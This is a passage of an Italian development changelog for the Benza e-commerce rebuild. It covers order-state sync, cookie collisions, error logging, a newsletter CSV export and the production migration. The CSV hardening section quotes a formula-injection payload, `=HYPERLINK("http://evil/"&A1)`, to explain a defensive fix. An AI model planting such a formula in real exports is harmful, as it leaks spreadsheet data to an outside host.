(nuovo `api/admin/clienti/set_flag.php` + `Utente::updateFlag()`, rimpiazzano clienti-riv/clienti-mex del
vecchio). Modal dettaglio ricablato su `read_one.php` con i **campi reali** (era `cognome`/`cf`/`provincia`
inesistenti → tutto vuoto; ora nome/cod_fis/prov/pec/sdi/tel2 + indirizzo spedizione). `Utente`: proprietà
`bacheca`, ricerca anche su città, `countAll()`, filtro rivenditore.

**VIDEO (`codice_embed` incompatibile):** in DB sono ID YouTube nudi ma admin/frontend si aspettavano un
iframe → video illeggibili. `Video::estraiYoutubeId()` normalizza URL/ID/iframe→ID nudo in create/update.
Admin: anteprima iframe 16:9 per riga + campo "URL o ID YouTube". Frontend `video.php`: iframe costruito in
modo **sicuro** dall'ID (niente più innerHTML del valore DB). `data_agg=NOW()` nell'update.

**DASHBOARD (3 KPI su 4 rotte):** nuovo `api/admin/dashboard/stats.php` (COUNT reali); `index.php` popola
Categorie/Modelli/Ordini/Clienti da una sola fetch (prima Modelli vuoto, Ordini/Clienti fermi a 50 per il LIMIT).

**CATEGORIE/PRODOTTI:** **upload immagine reale** (nuovi `api/admin/{categorie,prodotti}/upload.php` →
`categoria-{id}`/`prodotto-{id}` in `/files/`; il vecchio aveva l'upload, il nuovo solo un campo testo).
Delete categoria con **controllo prodotti collegati** (409). Filtro categoria nella lista prodotti.
`data_agg=NOW()` negli update di Categoria/Prodotto.

**GIACENZE:** ripristinato il **report magazzino m² dei teli** (id_categoria=1): rotoli interi vs spezzoni,
gruppi EPDM/PVC/Altri con subtotali m² (=disp_mag×lato1×lato2), tasto Stampa. Nuovo `readReportTeli()` +
`api/admin/giacenze/report_teli.php`. Mantenuta come 2ª scheda la lista disponibilità generica.

**CARRELLI:** aggiunta la **vista per-modello** (domanda aggregata: qty totale + n° utenti per articolo) via
nuovo `api/admin/carrelli/per_modello.php`, come scheda accanto alla vista per-utente. **Cron consolidati**:
`api/cron/carrelli_abbandonati.php` è il canonico (reminder via carrello_ultima_modifica, mantenuta dagli
endpoint carrello) + ora fa anche la **pulizia a 30gg**; il vecchio `cron/svuota_carrelli.php` NON invia più
email (solo pulizia) per evitare doppi invii. ⚠️ Schedulare solo il canonico sul server.

**TRASPORTI:** campo `isola` rietichettato "Aumento % isole" (è una %, non €); nota su `aggiunta` (non usato
dal calcolo checkout).

**VACANZE (regressione piena):** il messaggio non compariva sul sito. Nuovo `api/pubblico/vacanze/read.php` +
consumer **marquee** in `header_pub.php` (mostra il messaggio attivo in cima). Invariante "un solo messaggio
attivo" applicata nel backend (`Messaggio::disattivaTutti()` in create/update).

Verifiche: `php -l` pulito su tutta admin/ e api/; query SQL nuove validate a mano sul DB (SELECT).

## Offerte: link condivisione con token casuale (sicurezza) (2026-07-03)

Su indicazione (opzione "token casuale"), il link condivisione delle offerte passa da `md5(id_offerta)`
(ricostruibile dall'id → enumerabile) a un **token casuale a 128 bit**. Nuova colonna `offerte.token_pubblico
CHAR(32)` (migration **`docs/sql/010_offerte_token_pubblico.sql`**): backfill delle offerte esistenti con
`LEFT(SHA2(CONCAT(UUID(),RAND(),id),256),32)`, `create()` genera `bin2hex(random_bytes(16))` (CSPRNG).
`Offerta::readByHash`→`readByToken`; admin read/read_one non calcolano più md5 (il token è in `SELECT *`);
pubblico `offerta/read.php?o=` e front usano il token; admin JS usa `token_pubblico`. ⚠️ Eseguire la
migration 010 PRIMA di usare le offerte. NB: i vecchi link md5 dei clienti non funzionano più (tradeoff scelto).

## Log errori + Dashboard grafici + Ricostruzione FEDELE pagine informative (2026-07-06)

### Log Attività / Log Errori
- **Log Attività**: `api/admin/log/attivita.php` ora restituisce il NOME admin
  (`COALESCE(NULLIF(web_admins.nome,''), login, 'Admin #id')`) invece della mail (idem nel Log Errori).
- **Log Errori (era vuoto)**: causa = gli errori dev sono `Error`/`TypeError`/fatali (non `Exception`),
  che i `catch(Exception)` non prendono, e mancava una rete globale. Nuovo **`api/config/error_handler.php`**
  (`set_exception_handler` su Throwable + `register_shutdown_function` per i fatali), incluso da
  `api/config/headers.php` → copre 119/121 endpoint (fuori cron + nexi_callback). Scrive su `app_error_log`
  via `logError()` (`api/config/logger.php`), fail-safe (DB lazy, ripiego su `error_log()`); `logError`
  irrobustita con guardia `$db instanceof mysqli`.
- **Wiring `logError()`** esteso a ~75 endpoint residui (catch esterno → `\Throwable` + una riga
  `logError($db??null,'/api/...',metodo,500,$e->getMessage(),$e->getTraceAsString(),null,$adminId,$userId)`),
  attribuzione admin/utente per contesto. Ora **113 endpoint** loggano; provato end-to-end.
- Rimosso codice morto `api/config/error_log_helper.php` (scriveva su tabella inesistente `or_error_log`).
  Migration **`docs/sql/011_log_errori.sql`** (CREATE TABLE IF NOT EXISTS `app_error_log`, idempotente).

### Dashboard admin
- KPI a **6 card in 3+3** (Prodotti/Offerte/Clienti · Ordini/Ordini da spedire/Carrelli); rimosse Modelli e
  Categorie (strutturali, non KPI). "Ordini da spedire" è un **deep-link** (`ordini.php?stato=da_spedire`):
  aggiunto stato `da_spedire` in `Ordine::readAll` (pagato=1 AND spedito=0 AND annullato=0) + filtro stato
  ora **server-side** in `admin/ordini.php`.
- **3 grafici Chart.js** (v4.4.9, SRI locale, tema-aware): Andamento ordini+incasso (barre+linea, doppio
  asse) · Tipologie pagamento (ciambella; codici legacy normalizzati 1=PayPal, 4=Carta, 2=Bonifico inferito)
  · Nuove registrazioni clienti. Dati da `api/admin/dashboard/grafici.php` (solo SELECT).

### Frontend informativo — RICOSTRUZIONE FEDELE ai testi di Benza
Scoperta: **quasi tutte** le pagine informative del nuovo sito erano **parafrasate/inventate** (testi
riscritti, dati mai scritti da Benza — garanzie, norme, video/PDF fantasma — icone Pro). Rifatte **fedeli**
(testo VERBATIM + grassetti originali, reimpaginazione moderna, gallery/elementi funzionali preservati) e
verificate con un coverage-checker (frasi del vecchio presenti nel renderizzato = **100%**), via multi-agent:
- **Vasche e Laghi** (10), **Prodotti** (5: piscine/fontane/irrigazione/gazebi/arredamenti),
  **Servizi** (3: ristrutturazioni/progettazioni/punteruolo), **Info** (6: storia/staff/dovesiamo/orari/
  newsletter/contatti).
- **Split** del vecchio mega `info_consegne` (~466 frasi) su 3 pagine: `info_consegne` (spedizioni) +
  `faq` (accordion + FAQPage JSON-LD) + `condizioni_vendita` (pagamenti/resi/garanzia), senza perdite/duplicati.
- Nuovo **`includes/gallery_inline.php`**: anteprima "catalogo" (foto + titolo + descrizione di Benza +
  lightbox) via API `pubblico/gallery/immagini.php`, riusabile con `$gallery_inline_id`.
- Naming menu "Serbatoi" → "Vasche". SEO: vecchi slug preservati via 301 già in `.htaccess`. Icona Pro
  `fa-file-certificate` → `fa-certificate` (free).

### Correzione ortografica (conservativa)
16 refusi oggettivi corretti (es. `principalente→principalmente`, `indutriali→industriali`,
`l'istallazione→installazione`, `vicessitudini→vicissitudini`, `attossici→atossici`, `zootenici→zootecnici`,
`affinchè→affinché`). 24 casi ambigui (citazioni de La Stampa, marchi, varianti valide) lasciati e segnalati.

### Formato Euro
€ sempre DOPO l'importo ("979,98 €") via `formatCurrency` in tutte le schermate admin.

### ⚠️ Asset da migrare al deploy (solo produzione, non in locale)
Archivio `allegati/newsletter/*.pdf` (2009-2017), certificazioni, brochure biopiscine, 2 foto storia
(`img/storia/2a_Benza_Cup.jpg`, `Danilo_e_Pasquale.jpg`): esistono solo su Aruba → FTP alla migrazione finale.
Nessun riferimento inventato.

### Naming UI "Serbatoi" → "Vasche" (07/07/2026)
Etichette di navigazione/UI uniformate a **"Vasche"** (coerenza col menu "Vasche e Laghi" e col titolo
`vasche.php` "Vasche Prefabbricate…"): dropdown header + voce ("Serbatoi in acciaio" → "Vasche in acciaio"),
"Coperture serbatoi" → "Coperture vasche" (`header_pub.php`), card home + `alt` (`index.php`),
link footer "Serbatoi Acciaio" → "Vasche Acciaio" (`footer_pub.php`), titolo listino (`documenti.php`).
Il **testo verbatim di Benza** conserva "serbatoi" ovunque (termine di prodotto corretto, es. "serbatoi
antincendio"): NON toccato. Redirect SEO dei vecchi slug rimossi: tralasciati su indicazione utente.

### Write-back stati gestionale → e-commerce (07/07/2026)
Completato l'ultimo pezzo di sync (prima solo sito→gestionale). Ora il **gestionale**
(`ordini_clienti_26`), al cambio stato, riflette lo stato sull'ordine e-commerce (`Benza_sito.ordini`,
ponte `cod_ordine`), replicando il vecchio `nuovo_stato_db.php`:
- cat 6 Pagamento → `pagato=1, pagamento=<metodo>, data_pagamento=NOW()` (a ogni acconto>0, come il vecchio)
- cat 7 Spedizione → `spedito=1, data_spedizione=<data>`
- cat 11 Non venduto → `annullato=1`
Implementato nel gestionale: nuovo `api/config/ecommerce_sync.php` (`EcommerceSync`, best-effort/non fatale)
+ chiamate in `api/ordini/stati.php`. Le email restano a carico del gestionale. Cat 9 (Venduto) NON si
propaga (l'e-commerce non ha un campo "concluso"). Testato E2E sul NAS.

**Fix nomi DB Aruba** (niente è ancora in produzione): `Sql958286_1`=e-commerce, `Sql958286_2`=gestionale,
`Sql958286_5`=preventivatore. Aggiornato `secrets.php` BZ_DB_GESTIONALE prod `_5`→`_2`. Nel gestionale:
`database.php` prod `_5`→`_2`, `database_cli.php` (connessione all'e-commerce) `_2`→`_1`. Utente Aruba unico
`Sql958286`. Al deploy i DB NAS `Benza_sito`/`Benza_sit_clienti` sovrascriveranno `_1`/`_2`.

---

## 09/07/2026 — Stati ordine: "Spedito" ≠ "Completato" + fix layout area utente

### 1. Bug stati ordine (segnalato su ordine #1600)
**Sintomo:** aggiunto lo stato "Spedizione" (cat 7) nel gestionale, il sito mostrava "Completato".

**Causa:** il DB era corretto (`pagato=1, spedito=1`): il write-back funzionava. Il modello dati
dell'e-commerce aveva però **solo 3 flag** (`pagato`/`spedito`/`annullato`) e derivava l'etichetta
"Completato" da `pagato && spedito` → **spedizione e conclusione erano lo stesso stato**.
Nel gestionale "concluso" è la categoria **9 (Venduto)**, che non si propagava.

**Fix — nuova scala di precedenza:** `annullato > concluso > spedito > pagato > attesa`

| gestionale | e-commerce | etichetta cliente |
|---|---|---|
| cat 6 Pagamento | `pagato=1` | "Pagato — in preparazione" |
| cat 7 Spedizione | `spedito=1` | **"Spedito"** |
| cat 9 Venduto | **`concluso=1`** | **"Completato"** |
| cat 11 Non venduto | `annullato=1` | "Annullato" |

**Modificati (e-commerce):**
- `docs/sql/014_ordini_concluso.sql` — **nuova migration**: `ordini.concluso` + `ordini.data_conclusione`,
  con **backfill obbligatorio** (JOIN cross-DB su `or_stati` cat 9). Senza backfill i ~948 ordini storici
  che mostrano "Completato" retrocederebbero a "Spedito". ⚠️ Il nome del DB gestionale cambia per ambiente
  (NAS `Benza_sit_clienti` / Aruba `Sql958286_2`): nel file ci sono entrambe le varianti.
- `utente.php`, `utente_ordine.php` — `getStatoOrdine()` con il ramo `concluso`.
- `api/objects/Ordine.php` — proprietà `concluso`/`data_conclusione`, `updateStato()` e filtro `readAll()`
  **difensivi** via `bz_column_exists()` (girano anche prima della migration).
- `api/admin/ordini/read.php`, `read_one.php` — stato derivato con `concluso`.
- `api/admin/ordini/update_stato.php` — nuovo stato valido `concluso`; `attesa` azzera anche `concluso`.
- `admin/ordini.php` — badge + filtro "Concluso".

**Modificati (gestionale `ordini_clienti_26`):**
- `api/config/ecommerce_sync.php` — nuovo `registraConclusione()`.
- `api/ordini/stati.php` — `case 9` chiama il write-back (best-effort, non fatale).

**Verificato:** 9/9 casi della scala etichette (inclusa la via difensiva pre-migration); ordine #1600 ora "Spedito".

### 2. Bug layout area utente
**Sintomo:** su `utente_ordine?o=1600` le card erano altissime con spazio vuoto, e "Articoli ordinati"
finiva **sotto il footer**.

**Causa:** `.bz-info-card` ha `height: 100%` (serve alle griglie di card affiancate). Dentro una `.row`
Bootstrap (flex, `align-items: stretch`) la colonna ha altezza *definita*, quindi **ogni** card impilata
prendeva il 100% della colonna → il contenuto sforava una colonna che non poteva crescere.
(Non era colpa dello sticky-footer `body{display:flex}`: verificato, `body{display:block}` non cambia nulla.)

**Fix:** `align-items-start` sulla `.row` → colonna ad altezza `auto` → `height:100%` si risolve ad `auto`.
Applicato a `utente.php`, `utente_ordine.php`, `utente_bacheca.php`, `utente_dati.php`, `utente_password.php`.
`.bz-info-card` **non** è stata toccata (romperebbe le griglie pari-altezza).

**Verificato:** overflow colonna 0px, card 327/201/54px, footer sotto il contenuto.

### ⚠️ Da fare (utente)
Eseguire **migration 014** su NAS (`Benza_sito`) e su Aruba (`Sql958286_1`), scegliendo la variante di backfill giusta.

---

## 09/07/2026 — Collisione cookie/sessione tra i progetti Benza sullo stesso host

**Sintomo:** entrando nell'admin del gestionale si veniva sloggati dall'admin dell'e-commerce, e viceversa.

**Causa (doppia, entrambe con `path => '/'` sullo stesso host):**
1. Tutti i progetti (nati dallo stesso template) usavano `session_name('sec_session_id')` → **stessa sessione PHP**.
   Il `session_regenerate_id(true)` al login di un progetto **distruggeva** la sessione dell'altro.
2. Tutti scrivevano il cookie JWT `adm_login_string` → veniva sovrascritto con un token firmato con
   la chiave dell'altro progetto → `JWT::decode()` falliva la firma → 401 → redirect al login.

Peggiorato da **A1** (JWT spostato dal DOM al cookie): prima la collisione era meno sistematica.

**Fix (solo lato e-commerce — basta prefissare un lato per disaccoppiare):**
- `sec_session_id` → `bz_sec_session_id`
- `adm_login_string` → `bz_adm_login_string`
- `adm_persist` → `bz_adm_persist`

File: `includes/helpers.php`, `includes/auth.php`, `admin/login.php`, `logout.php`, `api/config/auth_admin.php`.

⚠️ `logout.php` cancellava `adm_login_string`/`sec_session_id` e una chiave `sessionStorage` non nostra
(`sessionStorage` è condiviso per-origine): il logout dall'e-commerce sloggava dal gestionale. Ora tocca
**solo** le chiavi `bz_`.

**Verificato via curl** (endpoint + pagina admin): cookie nuovo → 200/dashboard; cookie del gestionale
spurio presente + il nostro → 200/dashboard (nessuna interferenza); solo cookie vecchio → 401/pagina di login.
L'app emette ora solo `bz_adm_login_string` e `bz_sec_session_id`.

**Resta aperto (altri progetti):** `ordini_clienti_26` e `prev_vasche` usano entrambi i nomi generici →
continuano a sloggarsi a vicenda; anche `template_base_cms` (template d'origine). Segnalato all'altro
Claude nel file di coordinamento.

### Audit cookie dei due account (09/07/2026)

Verificati i due sistemi di auth del progetto. **Percorsi vivi tutti corretti:**

| | cookie | HttpOnly | Secure | SameSite | durata |
|---|---|---|---|---|---|
| Utente login (`api/utenti/login.php`) | `bz_jwt_utente` | ✔ | dinamico | Lax | sessione / 60gg |
| Utente rinnovo (`auth_utente_pub.php`) | `bz_jwt_utente` | ✔ | dinamico | Lax | rispetta `bz_persist` |
| Admin login (`admin/login.php`) | `bz_adm_login_string` | ✔ | dinamico | Strict | sessione / 10gg |
| Admin rinnovo (`includes/auth.php`) | `bz_adm_login_string` | ✔ | dinamico | Strict | rispetta `bz_adm_persist` |

`Lax` per l'utente è **voluto**: dopo il rientro da PayPal/Nexi (navigazione top-level) con `Strict`
il cookie non verrebbe inviato e l'utente sembrerebbe sloggato. L'admin non ha rientri esterni → `Strict`.

**Due correzioni fatte:**
1. **Rimosso codice morto** in `includes/auth.php`: `utenteLogged()`/`checkUtenteLogin()`/`logoutUtente()`
   (l'auth utente vive in `auth_utente_pub.php`, incluso da `header_pub.php`; nessuno le chiamava).
   Rinnovavano `bz_jwt_utente` con la forma a 7 argomenti di `setcookie()` → **secure=false, nessun
   SameSite, 365gg fissi**, ignorando `bz_persist`. Innocuo perché morto, ma pronto da riusare per sbaglio.
2. `logout.php` non azzerava `bz_persist` (il flag "resta collegato" dell'utente), a differenza del
   gemello `bz_adm_persist`. Aggiunto.

I `setcookie()` a 7 argomenti rimasti sono **solo cancellazioni** (valore vuoto + scadenza passata):
per cancellare, il browser confronta nome/dominio/path, non `secure` → nessun impatto.

**Verificato:** admin dashboard+API 200; utente profilo+API ordini 200 (9 ordini); `logout` azzera i 5
cookie `bz_` e **nessun** cookie degli altri progetti.

---

## 09/07/2026 — Export CSV newsletter per MailChimp (richiesta Benza)

Nuovo bottone **"Esporta newsletter"** in `admin/clienti.php` → scarica un CSV di tutti gli utenti
e-commerce con `utenti.newsletter = 1`, pronto per l'import in MailChimp.

**Nuovo `api/admin/clienti/export_newsletter.php`** (GET, JWT admin). Il bottone è un semplice
`<a href>` same-origin: il cookie HttpOnly `bz_adm_login_string` viaggia da solo, quindi niente
fetch/Blob e il CSV si genera lato server (dove escaping, BOM ed encoding sono sotto controllo).

**Colonne:** `Email Address` · `Nome` · `CITTA` · `PROV` · `Tags` · `DATA_REG`
`Email Address` e `Tags` hanno questi nomi esatti perché MailChimp li riconosce e mappa da solo.

**Scelte concordate con l'utente:**
- Esporta **tutti** i 514 iscritti, anche i 35 che non hanno mai confermato l'email (`status = 0`).
  Questi vengono marcati col tag **`non_confermato`** così si possono escludere in MailChimp prima
  del primo invio (indirizzi mai validati = rischio bounce e danno alla reputazione del mittente).
- I 14 rivenditori iscritti prendono il tag **`rivenditore`** (i tag multipli sono separati da virgola
  nella stessa colonna, come vuole MailChimp).
- Il nominativo resta in **una sola colonna `Nome`**: `utenti.nome` contiene spesso ragioni sociali
  ("Foind S.r.l."), che uno split First/Last Name storpierebbe.
- L'export **ignora i filtri della pagina** (ricerca / solo rivenditori): esporta sempre l'elenco
  completo, per non produrre file diversi a seconda di cosa è digitato nella ricerca. Detto nel tooltip.
- Ogni export è **tracciato** in `admin_activity_log` (`cliente.export_newsletter`, con numero di righe):
  sono dati personali di 514 persone.

**Dettagli tecnici:**
- BOM UTF-8 in testa (la connessione DB restituisce già UTF-8: senza BOM Excel sbaglia gli accenti).
- `stripslashes()` sui campi testo: 7 nomi e 11 città hanno backslash legacy da `addslashes()`
  (`MUNAFO\' ORAZIO`) che finirebbero tali e quali nella lista.
- `fputcsv(..., escape: '')` → CSV conforme a RFC 4180 (virgolette raddoppiate, niente backslash).
- `headers.php` impone `Content-Type: application/json` → sovrascritto con `text/csv`.
- La query gira **prima** di emettere gli header del download: un errore produce un JSON di errore
  pulito invece di un CSV troncato.

**Verificato:** senza auth 401, con auth 200; header corretti; 514 righe, colonne coerenti, email uniche,
BOM presente, 0 backslash residui, apostrofi e accenti corretti (`Dall'angelo Laura`, `Gambolò`),
tag multipli (`rivenditore,non_confermato`); log attività scritto.

**Osservazione emersa (fuori scope):** la *tabella* di `admin/clienti.php` mostra ancora i backslash
legacy (`ACI SANT\'ANTONIO`, `MUGGIO\'`). L'export li pulisce, la lista no. Vedi il TODO sulla
sanificazione definitiva del DB al dump di produzione.

**Hardening — CSV formula injection (segnalato dalla security review automatica):**
`nome` e `citta` sono testo libero scelto da chi si registra, e anche un'email può iniziare con
`=` o `+` (`filter_var` accetta `=a@b.com`). Una cella che inizia con `= + - @ TAB CR` viene
interpretata come **formula** da Excel/LibreOffice all'apertura: un iscritto poteva registrarsi con
`=HYPERLINK("http://evil/"&A1)` e attendere che qualcuno in Benza aprisse il CSV.
Aggiunta `csvSicuro()`: antepone un apostrofo (forza il testo) **solo** alle celle che iniziano con
quei caratteri. La difesa sta in **uscita**, non nel DB: il valore memorizzato deve restare quello
che l'utente ha scritto.
Nessun payload presente oggi in DB (0 nomi, 0 città, 0 email). Verificato: 17/17 casi (payload
neutralizzati, `Dall'angelo Laura` e `MUNAFO' ORAZIO` intatti perché l'apostrofo non è il primo
carattere) e l'export reale è **byte-identico** a prima del fix → zero falsi positivi.

---

## 10/07/2026 — Copertura del log errori: callback pagamenti, catch che ingoiano, cron

Nati da una review incrociata dell'altro assistente (gestionale) sul nostro `error_handler`.
Tutti e 3 i suoi rilievi confermati leggendo il codice, più uno che gli era sfuggito.

### 🔴 `nexi_callback.php` era completamente scoperto (il più grave)
`error_handler.php` è incluso **solo da `headers.php`**, e `nexi_callback.php` non include `headers.php`
(giustamente: è un redirect del browser, non un'API JSON). Sommato al catch esterno che prendeva
`Exception` e non `\Throwable`: **un `TypeError` durante il pagamento con carta era un fatale non
gestito, senza traccia da nessuna parte, e il cliente restava su una pagina bianca dopo aver pagato.**
Fix: `include_once '../config/error_handler.php'` + catch allargato a `\Throwable`.

### Nuovo `logErrorLazy()` in `api/config/logger.php`
Come `logError()`, ma apre da sé la connessione se non ne riceve una. Serve dove `$db` può non esistere
(callback e cron). ⚠️ **Non** si può usare `bz_report_error()` al suo posto, come suggerito nella review:
quella è **one-shot per richiesta** (`$GLOBALS['__bz_error_reported']`) → dei 3 catch di `nexi_callback`
avrebbe loggato solo il primo, e avrebbe zittito un fatale successivo. Fail-safe: degrada su `error_log()`
e non propaga mai un'eccezione dentro al catch chiamante.

### Punti coperti
- **Callback pagamenti**: `nexi_callback` (MAC invalido → 403 nel log, sync gestionale, email, catch esterno)
  e `paypal_webhook`. Nota: il webhook risponde **200 di proposito** per evitare i retry di PayPal, quindi
  senza log un webhook rotto era invisibile *per sempre*. Anche lì `Exception` → `\Throwable`.
- **9 catch interni "best-effort"** (sync gestionale + email) in `ordini/create`, `ordini/offerta`,
  `utenti/registrazione`, `pagamenti/paypal_capture`: ora `error_log` **+** `logError($db, ...)`.
  Sono i guasti che interessano davvero a Benza: "l'ordine è entrato ma il gestionale non l'ha visto",
  "la mail di attivazione non è partita".
- **Cron** `carrelli_abbandonati.php`: `logErrorLazy()` nel catch fatale e in quello per-invio.

Restano volutamente senza log: `validate_token` / `admin/refresh` (un token scaduto non è un errore) e i
lettori di log `admin/log/*` (eviterebbero solo di generare ricorsione).

**Convenzione:** questi guasti best-effort usano `error_code = 500` con messaggio esplicito. La pagina
Log Errori filtra per codice, la dashboard non lo aggrega, quindi non inquinano statistiche.

**Verificato:** `logErrorLazy` scrive sia con connessione lazy sia riusando una `$db` passata, e due
chiamate di fila loggano **entrambe** (prova che `bz_report_error` avrebbe perso la seconda). End-to-end:
`nexi_callback` con MAC falso → riga `403 — MAC non valido` in `app_error_log`, prima assente.
Cron dry-run 200, chiave errata 403. `php -l` OK sugli 8 file.

---

## 11/07/2026 — GO-LIVE: migrazione dati di produzione al nuovo schema

Dump fresco del DB di produzione messo dall'utente in `Benza_sito_old` (NAS MariaDB).
Scoperta chiave: lo schema del dump è quello NUOVO **meno** le colonne aggiunte dalle migration
003-014 e le 2 tabelle di log. Non una migrazione di schema, ma un allineamento.

**Analisi (dump vs Benza_sito NAS):**
- Divergono solo i dati transazionali (dump più fresco): utenti 1669→1723, ordini 1542→1594,
  ordini_articoli →2673, carrello →2392. Contenuti IDENTICI (prodotti, modelli, gallerie, ecc.).
- Password clienti tutte MD5 (varchar 32) → già gestite dal login (`Utente.php` md5→bcrypt lazy);
  la colonna va portata a varchar(255) per accogliere il bcrypt migrato.
- Date-zero (killer su MySQL strict): 306 ordini.data_pagamento + 429 ordini.data_spedizione
  (→ NULL, il nuovo schema le accetta) + 1379 utenti.data_agg (NOT NULL → = data_reg).
- web_admins: dump ha 1 admin obsoleto → sostituito coi 3 del NAS (bcrypt/ruoli).

**Metodo (l'utente ha dato a devuser ALL su `Benza_sito_new%`, isolato):**
- `docs/sql/015_migrazione_produzione.sql` costruisce `Benza_sito_new` = copia del dump fresco
  (16 tabelle) + web_admins/log dal NAS + allineamento colonne/tipi + sanificazione date + indici + FK.
- `Benza_sito_old` (backup) e `Benza_sito` (sviluppo) restano intatti.

**Verifiche (tutte verdi):**
- diff schema `Benza_sito_new` vs `Benza_sito`: colonne, indici, FK IDENTICI.
- date-zero residue: 0. Conteggi = dump (web_admins 3, log 0).
- 1723 password MD5 in colonna varchar(255); 3 admin bcrypt/SHA; 0 orfani FK.

**Dump per Aruba** (`mariadb-dump` + bonifica): `benza_sito_produzione.sql` (3,2M, o .gz 660K).
- `utf8mb3`→`utf8` (alias compatibile con ogni versione MySQL); nessun CREATE DATABASE/USE
  (importabile dentro Sql958286_1); `--add-drop-table` (sovrascrive il vecchio); FK checks off.
- **Test di re-import** in un DB pulito: import senza errori, schema identico al target, conteggi
  combacianti → il file è validato prima ancora di toccare Aruba.

⚠️ Prima dell'import su Aruba: BACKUP di `Sql958286_1` attuale (per poter tornare indietro).
⚠️ A fine giornata: revocare i privilegi temporanei di devuser (torna a SELECT).

---

## 11/07/2026 — GO-LIVE: recupero asset di produzione da benza.it

L'utente ha scaricato via FTP tutti i file di benza.it nella cartella `../sito/` (11 GB).
Obiettivo: portare in `sito_26` gli asset che mancavano (pdf, immagini, allegati).

**⚠️ Trappola ambientale (mount SMB):** `/Users/paolo/Server/Siti Web` è un mount SMB dal NAS
(`//admin@NASALBERTI.local/web`). Su questo mount `find`/`ls` restituiscono **voci duplicate
fantasma** (stesso inode elencato più volte) → i conteggi si gonfiano (visti 8175 "file" per 1998 reali)
e `rsync --ignore-existing` **salta file che in realtà mancano** (crede esistano in dest per via dei
fantasmi nell'enumerazione). Workaround: contare per NOME deduplicato (`sed 's|.*/||' | sort -u`);
copiare con lista esplicita (`rsync --files-from`) o via **Finder** (gestisce SMB nativamente).

**Cosa serviva (numeri veri, deduplicati):** `files/` 996 mancanti (immagini catalogo/categorie/gallery/
versioni -hq, pdf, dwg), `allegati/` (→ `uploads/pdf/allegati/`), `img/`. `pdf/` era già completa.
`caricamenti/` (5,8 GB) **saltata**: sono video (già su YouTube, il DB `web_video` ha solo i titoli),
zip, apk — mai referenziati dal codice nuovo.

**Metodo finale:** rsync ha coperto la maggior parte, ma per il bug SMB restavano 655 immagini; la
copia via **Finder** ("copia tutto, salta esistenti") le ha risolte.

**Verifica (test funzionale, non conteggio grezzo):** le immagini attese dal DB (`web_immagini`
immagine/hq/thmb + `prodotti.foto_prodotto` + `categorie.foto_categoria` + `web_gallery.foto`) sono
**tutte presenti** sul filesystem → 0 mancanti su 2492 attese. `allegati/` e `img/` → 0 mancanti.

**Nota (non bloccante):** i link ai PDF sono incoerenti — il DB (`modelli.pdf1/pdf2`) usa URL assoluti
`https://www.benza.it/allegati/…`, il codice usa path relativi `uploads/pdf/allegati/…`. Gli assoluti
funzionano perché i file sono comunque su benza.it; in locale sono sotto `uploads/pdf/allegati/`.
Bonifica dei link = tema separato.

### Bonifica link /allegati/ e /pdf/ (migration 016 + codice, 11/07/2026)
Al go-live le cartelle doppione `/allegati/` e `/pdf/` in root benza.it vanno eliminate (i file sono
già in `uploads/pdf/…`). I riferimenti erano URL assoluti `benza.it/allegati|pdf/` → riscritti a path
relativi `uploads/pdf/…`.
- **DB**: solo `modelli.pdf1` (230) e `pdf2` (343) — nessuno nelle descrizioni. `docs/sql/016_bonifica_link_allegati.sql`
  (REPLACE http+https, allegati→uploads/pdf/allegati, pdf→uploads/pdf/pdf). Applicata a `Benza_sito_new`:
  0 residui, 573 link relativi. **Da applicare anche su Aruba `Sql958286_1`** (il DB era già importato pre-016).
- **Codice**: 71 link in `laghi_piscine.php`, `faq.php`, `info_newsletter.php` → sed. 0 residui.
- Verificato: i 16 PDF distinti del DB + i 69 del codice esistono tutti in `uploads/pdf/…` (0 mancanti).
⚠️ Sequenza deploy: applicare 016 su Aruba + caricare `uploads/` PRIMA di cancellare `/allegati/`+`/pdf/`.

### Fix link PDF doppiati nella scheda modello (11/07/2026, go-live)
Emerso nel giro di verifica finale: i PDF dei modelli (Istruzioni/Scheda tecnica) davano 404.
Causa: `modello.php` costruisce l'href come `pdf.indexOf('http')===0 ? pdf : 'uploads/pdf/'+pdf`.
Prima i pdf1/pdf2 erano URL `http://…` (usati diretti); la migration 016 li ha resi
`uploads/pdf/allegati/…` (non-http) → il codice anteponeva un SECONDO `uploads/pdf/` →
`uploads/pdf/uploads/pdf/allegati/…` → 404.
Fix in `modello.php`: non anteporre se il valore inizia gia' con `uploads/`. I 3 file
statici bonificati (faq/laghi_piscine/info_newsletter) NON erano affetti (href diretti).
Verificato: i due link PDF della scheda ora → uploads/pdf/allegati/…/*.pdf, HTTP 200.

## 2026-07-11 — Round 3 feedback Benza (WhatsApp) + gallery immagini + shop

- **vasche_accessori.php**: descrizioni Base/Alta Qualità sostituite con le liste puntate
  del catalogo (FAQ #30 di `Benza_Catalogo_2025-LQ`) + card **modello Antincendio**.
  Garanzie allineate al catalogo (Base 2 anni, Alta 10). Heading → "I modelli disponibili".
- **info_dovesiamo.php**: aggiunta sede **Via Feraldi 30** (negozio in centro dal 2024):
  nuova sezione testo fedele al vecchio + foto `img/storia/viaFeraldi30.jpg` + mappa embed;
  card "Le nostre sedi" → Pascoli (con tel uffici+deposito) + Feraldi. Rimossa card fittizia
  "Via Armea" (non era nel vecchio sito). tel: hrefs completati.
- **api/admin/immagini/create.php**: generazione automatica delle 3 versioni all'upload —
  originale intatto come `immagine_hq`, media (max 1400px, q82) e miniatura (max 500px, q80)
  generate via GD con correzione orientamento EXIF. Prima salvava lo stesso file ×3.
- **admin/gallery_immagini.php**: per ogni foto, footer con selettore dimensione
  (Media/Originale/Piccola) + "Copia URL" (clipboard, fallback execCommand) + "Scarica".
- **assets/css/sito.css**: `.bz-category-card .card-img-wrapper` → `aspect-ratio: 4/3` +
  `object-fit: contain` (immagini categorie 800×600 mostrate intere, non ritagliate).
- **robots.txt** (nuovo): Disallow admin/api/app/caricamenti/includes/templates/config + Sitemap.
- **sitemap.xml** (nuovo): 26 URL pagine pubbliche (tutte verificate 200), lastmod + priorità.
- Deploy Aruba FTP in chiaro, stage su disco reale, dimensioni remote verificate. Pagine live
  ricontrollate (200 + marcatori). GD/oEmbed: tutti i 16 video YouTube del sito risultano validi.

## 2026-07-11 — Cron logging + slug parlanti gallery

- **api/cron/carrelli_abbandonati.php**: aggiunto `logActivity('cron.carrelli_reminder')` a
  ogni run reale (dettaglio trovati/inviate/errori/cancellati) → heartbeat visibile nel
  gestionale (Log Attività) anche a vuoto, per capire se il cron gira.
- **api/admin/log/attivita.php**: COALESCE mostra "Sistema (cron)" per le righe con
  `admin_id` NULL (prima restavano senza attore).
